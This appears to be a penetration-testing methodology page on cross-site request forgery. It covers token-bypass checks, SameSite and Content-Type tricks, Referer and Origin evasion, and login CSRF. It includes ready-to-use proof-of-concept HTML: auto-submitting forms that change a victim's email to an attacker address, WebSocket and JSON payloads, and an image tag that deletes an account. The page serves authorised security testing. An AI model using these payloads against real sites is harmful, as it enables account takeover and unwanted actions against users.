Skip to main content
CWECWE-352
WSTGWSTG-SESS-05
MITRE ATT&CKT1185
CVSS Range4.3-8.0
Toolsburp
Difficultybasic

Cross-Site Request Forgery (CSRF)

CSRF forces authenticated users to execute unwanted actions by exploiting the trust a site has in the user's browser. The attack works because browsers automatically include credentials (session cookies, etc.) with requests to the target site, and succeeds when state-changing endpoints lack adequate token validation, SameSite restrictions, or origin checks.

Quick Reference

CheckCommand/Action
Find state-changing endpointsIntercept POST/PUT/DELETE requests in proxy
Check cookie attributescurl -v [URL] 2>&1 | grep -i "set-cookie"
Find CSRF tokens in formscurl -s [URL] | grep -iE "(csrf|token|_token|nonce|authenticity)"
Check CSRF cookiecurl -v [URL] 2>&1 | grep -iE "csrf|xsrf"
Test token removalRemove CSRF token param entirely, replay request
Test empty tokenSet CSRF token to empty string
Test GET methodcurl -X GET "[URL]?param=value" for POST endpoints
Test Content-Type bypassReplay with text/plain or application/x-www-form-urlencoded

Priority targets (highest CSRF impact):

  • Password/email change endpoints
  • Financial transaction endpoints
  • User role/permission changes
  • API key generation/deletion
  • Account deletion
  • Admin panel functions

Bypassing Token Validation

Test every endpoint that has a CSRF token. Token presence does not mean protection is complete.

Token Analysis

Collect multiple tokens from the same endpoint and analyze:

  • Are tokens unique per request or static?
  • Are tokens tied to the session? (Use one session's token in another)
  • What is the token length and format? (<16 chars may be brute-forceable)
  • Is the token predictable (timestamp-based, sequential, MD5 of known values)?
  • Is the token in the URL? (Leaks via Referer header)

Look for token field names: csrf_token, _token, authenticity_token, __RequestVerificationToken, _csrf, nonce.

Look for token headers: X-CSRF-Token, X-XSRF-Token, X-Requested-With.

Token Removal

Remove the CSRF token parameter entirely. Many applications only validate the token if it is present.

<form id="csrf-form" action="https://TARGET/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<!-- CSRF token intentionally omitted -->
</form>
<script>document.getElementById('csrf-form').submit();</script>

Empty Token Value

Test if an empty string is accepted as a valid token:

<form id="csrf-form" action="https://TARGET/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf_token" value="">
</form>

Null and Special Values

Test special values that might bypass validation logic:

<input type="hidden" name="csrf_token" value="null">
<input type="hidden" name="csrf_token" value="undefined">
<input type="hidden" name="csrf_token" value="0">
<input type="hidden" name="csrf_token" value="[]">
<input type="hidden" name="csrf_token" value="{}">

Token Reuse Across Sessions

If the token is not session-bound, an attacker can use their own valid token:

  1. Log in as the attacker, extract a CSRF token
  2. Embed that token in a PoC targeting the victim
  3. If the application validates token existence but not session binding, the attack succeeds

Token Reuse Across Endpoints

Some applications share a token pool across endpoints. Get a token from a low-privilege endpoint (e.g., /api/user/preferences) and use it on a high-privilege endpoint (e.g., /api/admin/create-user).

Parameter Location Manipulation

Move the token to a different location than expected:

# Token expected in body -- try URL parameter
curl -X POST "https://TARGET/api/action?csrf_token=TOKEN" -d "param=value"

# Token expected in header -- try body parameter
curl -X POST "https://TARGET/api/action" -d "param=value&X-CSRF-Token=TOKEN"

# Token expected in URL -- try body
curl -X POST "https://TARGET/api/action" -d "param=value&csrf_token=TOKEN"

HTTP Method Override

If the token is only validated on POST, bypass by using GET with a method override:

<form id="csrf-form" action="https://TARGET/api/action?_method=POST" method="GET">
<input type="hidden" name="email" value="attacker@evil.com">
</form>

Also try the X-HTTP-Method-Override: POST header on a GET request.

Bypassing SameSite Cookies

Examine all Set-Cookie headers for the session cookie. Document each attribute:

curl -v -c - [LOGIN_URL] 2>&1 | grep -i "set-cookie"

Record for each cookie:

  • SameSite: Strict, Lax, None, or absent (browser defaults to Lax)
  • Secure: Present or absent (required when SameSite=None)
  • HttpOnly: Present or absent
  • Domain: Scope of the cookie (.target.com includes subdomains)
  • Path: Path restriction

SameSite=Lax vs Strict

AttributeCross-site form POSTTop-level GET navigationSubframefetch/XHR
StrictBlockedBlockedBlockedBlocked
LaxBlockedAllowedBlockedBlocked
NoneAllowedAllowedAllowedAllowed

Top-Level Navigation (SameSite=Lax Bypass)

When the session cookie is SameSite=Lax, cookies are sent on top-level GET navigations. Exploit this if the target endpoint accepts GET:

<!-- Auto-redirect -->
<script>window.location = "https://TARGET/api/action?param=value";</script>

<!-- Meta refresh -->
<meta http-equiv="refresh" content="0; url=https://TARGET/api/action?param=value">

<!-- Link click (requires user interaction) -->
<a href="https://TARGET/api/action?param=value">Click here</a>

First verify the endpoint accepts GET: curl -X GET "https://TARGET/api/change-email?email=attacker@evil.com"

Opening a new window counts as a top-level navigation (cookies sent with SameSite=Lax):

<script>window.open('https://TARGET/api/action?param=value');</script>

Two-Minute Lax+POST Window (Chrome)

Chrome permits SameSite=Lax cookies on cross-site POST requests within 2 minutes of cookie creation. If the victim just logged in, a standard form POST may work:

<form id="csrf-form" action="https://TARGET/api/action" method="POST">
<input type="hidden" name="param" value="value">
</form>
<script>document.getElementById('csrf-form').submit();</script>

WebSocket Bypass

WebSocket connections may not respect SameSite restrictions. If the application uses WebSockets for state-changing operations, test:

const ws = new WebSocket('wss://TARGET/socket');
ws.onopen = function() {
ws.send(JSON.stringify({action: 'change_email', email: 'attacker@evil.com'}));
};

Exploiting JSON Endpoints

Many modern APIs expect application/json Content-Type. Standard HTML forms cannot set this header, but several bypass techniques exist.

Content-Type Bypass Testing

Test whether the server actually validates Content-Type. Send the same JSON body with different Content-Types:

# Standard JSON
curl -X POST https://TARGET/api/action -H "Content-Type: application/json" \
-d '{"email":"test@test.com"}'

# text/plain (no CORS preflight)
curl -X POST https://TARGET/api/action -H "Content-Type: text/plain" \
-d '{"email":"test@test.com"}'

# Form-encoded (no CORS preflight)
curl -X POST https://TARGET/api/action -H "Content-Type: application/x-www-form-urlencoded" \
-d 'email=test@test.com'

# Multipart form
curl -X POST https://TARGET/api/action -F 'email=test@test.com'

# No Content-Type header
curl -X POST https://TARGET/api/action -d '{"email":"test@test.com"}'

If the server accepts text/plain or application/x-www-form-urlencoded, you can forge JSON requests from HTML forms without triggering a CORS preflight.

text/plain Form Trick

HTML forms support enctype="text/plain". Craft the input name to produce valid JSON:

<form id="csrf-form" action="https://TARGET/api/action" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<!-- Produces body: {"email":"attacker@evil.com","ignore":"="} -->
<script>document.getElementById('csrf-form').submit();</script>

For cleaner JSON (avoiding the trailing =):

<form id="csrf-form" action="https://TARGET/api/action" method="POST" enctype="text/plain">
<textarea name='{"email":"attacker@evil.com","padding":"'>x</textarea>
</form>

fetch with credentials (CORS-dependent)

If the target has a permissive CORS policy, use fetch directly:

fetch('https://TARGET/api/action', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'}),
credentials: 'include'
});

This triggers a CORS preflight. If the preflight is incorrectly configured (e.g., Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true), the attack succeeds.

Key insight: CORS prevents reading cross-origin responses, not sending requests. A CORS error does not mean the request was not executed. Check whether the state change occurred even if the browser reports a CORS failure.

Exploiting Content-Type Handling

HTML forms can only send three Content-Types without triggering a CORS preflight:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Any other Content-Type (including application/json) triggers a preflight OPTIONS request. If the server does not respond correctly to the preflight, the browser blocks the request.

Your testing approach:

  1. Identify what Content-Type the endpoint expects
  2. Test each of the three "simple" Content-Types to see if the server accepts them
  3. If text/plain is accepted and the server parses JSON from the body, use the form trick above
  4. If application/x-www-form-urlencoded is accepted, use a standard form
  5. Test with no Content-Type header at all

Bypassing Referer and Origin Checks

Some applications rely on Referer or Origin header validation instead of tokens.

Remove Referer Header

Use the <meta> tag to suppress the Referer header:

<meta name="referrer" content="no-referrer">
<form id="csrf-form" action="https://TARGET/api/action" method="POST">
<input type="hidden" name="param" value="value">
</form>
<script>document.getElementById('csrf-form').submit();</script>

If the application only rejects requests with a wrong Referer but accepts requests with no Referer, this bypasses the check.

Referer Spoofing via URL Structure

If validation is a substring match, host the PoC on a domain containing the target domain:

https://target.com.attacker.com/csrf.html     (subdomain trick)
https://attacker.com/target.com/csrf.html (path trick)
https://attacker.com/?ref=target.com (query trick)

Origin Header

The Origin header cannot be removed or spoofed from a browser. However, test whether:

  • The application checks Origin at all
  • The application accepts null Origin (sent from sandboxed iframes, data: URIs, file: URIs)
<!-- Sends Origin: null -->
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,
<form id='f' action='https://TARGET/api/action' method='POST'>
<input name='param' value='value'>
</form>
<script>document.getElementById('f').submit();</script>">
</iframe>

Exploiting Subdomains for Same-Site Bypass

SameSite treats subdomains as same-site. If you control any subdomain of the target (via subdomain takeover, XSS on a subdomain, or a user-controllable subdomain), you can perform CSRF against the main domain.

attacker.target.com  -->  api.target.com   (same-site, cookies sent)

Steps:

  1. Check for subdomain takeover (dangling CNAME records, unclaimed services)
  2. Check for XSS on any subdomain
  3. Check for user-controllable subdomains (e.g., USERNAME.target.com)
  4. If any subdomain is controllable, host the CSRF PoC there -- all SameSite restrictions are bypassed
<!-- Hosted on evil.target.com (attacker-controlled subdomain) -->
<form id="csrf-form" action="https://api.target.com/action" method="POST">
<input type="hidden" name="param" value="value">
</form>
<script>document.getElementById('csrf-form').submit();</script>

Also check the session cookie's Domain attribute. If set to .target.com, the cookie is sent to all subdomains, enabling the attack from any subdomain.

Exploiting Login CSRF

Login CSRF forces the victim to log into the attacker's account. This is often dismissed but can have real impact:

  • Victim performs actions (uploads, purchases, saves payment methods) in the attacker's account
  • Attacker monitors victim's activity through their own account
  • Saved payment methods or sensitive data are exposed to the attacker
  • Search history, browsing patterns, and preferences are captured
<form id="csrf-form" action="https://TARGET/login" method="POST">
<input type="hidden" name="username" value="attacker_account">
<input type="hidden" name="password" value="attacker_password">
</form>
<script>document.getElementById('csrf-form').submit();</script>

Report login CSRF when you can demonstrate concrete impact (payment method capture, data exposure).

Building Proof-of-Concept Exploits

Basic HTML Form PoC

Use this as your starting template. Replace placeholders with actual values.

<!DOCTYPE html>
<html>
<head><title>CSRF PoC - [ACTION]</title></head>
<body>
<h1>CSRF PoC - [ACTION DESCRIPTION]</h1>
<p>Target: [TARGET URL]</p>
<p>Impact: [IMPACT DESCRIPTION]</p>

<form id="csrf-form" action="https://TARGET/api/action" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="submit" value="Submit Request">
</form>

<!-- Auto-submit (uncomment for automated PoC) -->
<!--
<script>document.getElementById('csrf-form').submit();</script>
-->
</body>
</html>

XHR-Based PoC

For when you need to set headers or handle the response:

<!DOCTYPE html>
<html>
<body>
<h1>CSRF PoC - XHR</h1>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://TARGET/api/action', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('param1=value1&param2=value2');
</script>
</body>
</html>

Multi-Step CSRF PoC

For actions requiring multiple sequential requests:

<!DOCTYPE html>
<html>
<body>
<iframe id="frame1" name="frame1" style="display:none"></iframe>
<iframe id="frame2" name="frame2" style="display:none"></iframe>

<!-- Step 1: Initiate action -->
<form id="step1" action="https://TARGET/api/initiate" method="POST" target="frame1">
<input type="hidden" name="action" value="change_email">
</form>

<!-- Step 2: Confirm action -->
<form id="step2" action="https://TARGET/api/confirm" method="POST" target="frame2">
<input type="hidden" name="confirm" value="true">
<input type="hidden" name="email" value="attacker@evil.com">
</form>

<script>
document.getElementById('step1').submit();
setTimeout(function() {
document.getElementById('step2').submit();
}, 2000);
</script>
</body>
</html>

JSON CSRF PoC (text/plain trick)

<!DOCTYPE html>
<html>
<body>
<form id="csrf-form" action="https://TARGET/api/action" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

WebSocket CSRF PoC

<!DOCTYPE html>
<html>
<body>
<div id="status">Connecting...</div>
<script>
const ws = new WebSocket('wss://TARGET/socket');
ws.onopen = function() {
document.getElementById('status').textContent = 'Connected. Sending payload...';
ws.send(JSON.stringify({
action: 'update_profile',
data: { email: 'attacker@evil.com' }
}));
};
ws.onmessage = function(event) {
document.getElementById('status').textContent += '\nResponse: ' + event.data;
};
</script>
</body>
</html>

GET-Based CSRF (Image Tag)

For endpoints that perform state changes via GET:

<img src="https://TARGET/api/delete_account?confirm=true" style="display:none">

Assessing Impact

Always check if CSRF can be chained. Example: email change CSRF + password reset flow = full account takeover.

Evidence Requirements

For a valid report, provide:

  1. Working PoC HTML file
  2. Screenshot of victim state before the attack
  3. Screenshot or evidence of PoC execution
  4. Screenshot of victim state after the attack showing the change
  5. Clear explanation of the realistic attack scenario
  6. Browser(s) tested and versions

Tools

ToolPurpose
Burp SuiteIntercept requests, identify CSRF tokens, generate PoC (right-click > Engagement tools > Generate CSRF PoC)
Browser DevToolsInspect cookies (Application tab), check SameSite attributes, monitor network requests
curlTest endpoint behavior with modified headers, tokens, methods
Python requestsScript token analysis (collect multiple tokens, test reuse)

Testing Checklist

Complete all items before closing CSRF investigation on an endpoint.

Token Analysis:

  • Check if CSRF token is present
  • Test with token removed entirely
  • Test with empty token value
  • Test with invalid/random token
  • Test token from a different session
  • Test token from a different endpoint
  • Test moving token to different parameter location (body/URL/header)

SameSite Analysis:

  • Document cookie attributes (SameSite, Secure, HttpOnly, Domain)
  • Test top-level navigation (if Lax or absent)
  • Test popup window method
  • Check for controllable subdomains (subdomain takeover, XSS)

Content-Type Analysis:

  • Test with application/x-www-form-urlencoded
  • Test with text/plain
  • Test JSON via form trick (enctype="text/plain")
  • Test with no Content-Type header
  • Test with multipart/form-data

Method Analysis:

  • Test if endpoint accepts GET for state-changing actions
  • Test method override (X-HTTP-Method-Override, _method param)

Referer/Origin Bypass:

  • Test with Referer header removed (<meta name="referrer" content="no-referrer">)
  • Test with Origin: null (sandboxed iframe)
  • Test Referer substring matching bypass

PoC:

  • Create working PoC HTML if vulnerable
  • Test PoC in browser and confirm state change
  • Capture before/after evidence
  • Document complete attack scenario

Prioritization

Test these first (highest real-world exploitability)

  1. CSRF on password/email change endpoints -- Highest impact CSRF. Email change + password reset = full account takeover chain. EPSS is moderate but impact is Critical when chained.
  2. CSRF on financial transaction endpoints -- Payment, transfer, and purchase endpoints without CSRF protection enable direct financial loss.
  3. CSRF on admin panel functions -- User role changes, API key generation, and account deletion via admin endpoints have the widest blast radius.

Test these if time permits (lower exploitability)

  1. CSRF on settings/preferences endpoints -- Lower impact individually but can enable further attacks (e.g., changing notification email to attacker's address).
  2. JSON endpoint CSRF via text/plain trick -- Only exploitable if the server accepts text/plain Content-Type for JSON endpoints. Many modern frameworks reject mismatched Content-Types.
  3. Login CSRF -- Requires demonstrating concrete impact (payment method capture, data exposure in attacker's account). Often dismissed by bug bounty programs without clear impact.

Skip if

  • All state-changing endpoints use SameSite=Strict cookies with no subdomain attack surface
  • Application is a pure API (no browser-based sessions, only token-based auth via Authorization header)
  • All forms use per-request CSRF tokens that are validated server-side and session-bound

Asset criticality

Prioritize by action severity: account takeover chains (email/password change) > financial actions > privilege modifications > data modifications > preference changes. CSRF on endpoints requiring re-authentication is lower priority since the attacker cannot supply the victim's current password.